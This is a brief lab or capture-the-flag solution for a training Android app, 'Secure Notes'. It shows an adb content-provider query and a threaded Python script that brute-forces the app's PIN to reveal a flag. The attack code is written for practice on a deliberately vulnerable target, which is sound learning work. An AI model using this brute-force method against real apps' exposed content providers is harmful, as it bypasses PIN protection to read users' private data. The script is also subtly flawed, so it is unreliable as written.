secure notes

the solution is a brute forcing for the pin number

adb shell content  query --uri content://com.mobilehackinglab.securenotes.secretprovider --where "pin=2580"

brute forcing python script

import subprocess
import threading

URI = "content://com.mobilehackinglab.securenotes.secretprovider"

def test_pin(pin):
    try:
        command = f"adb shell content query --uri {URI} --where 'pin={pin}'"
        result = subprocess.run(command, shell=True, capture_output=True, text=True)

        if "{" in result.stdout:
            print(f"Success! PIN found: {pin}")
            print(f"Result: {result.stdout}")
            exit(0)  
    except Exception as e:
        print(f"Error testing PIN {pin}: {e}")

def brute_force_pins(start, end):
    for pin in range(start, end + 1):
        test_pin(pin)

def main():

    pin_range = range(2500, 2600)

    num_threads = 15

    chunk_size = len(pin_range) // num_threads
    threads = []

    for i in range(num_threads):
        start = pin_range[i * chunk_size]
        end = pin_range[(i + 1) * chunk_size - 1] if i < num_threads - 1 else pin_range[-1]
        thread = threading.Thread(target=brute_force_pins, args=(start, end))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

    print("Failed to find the correct PIN.")

if __name__ == "__main__":
    main()

Run the script to get the right pin and the flag.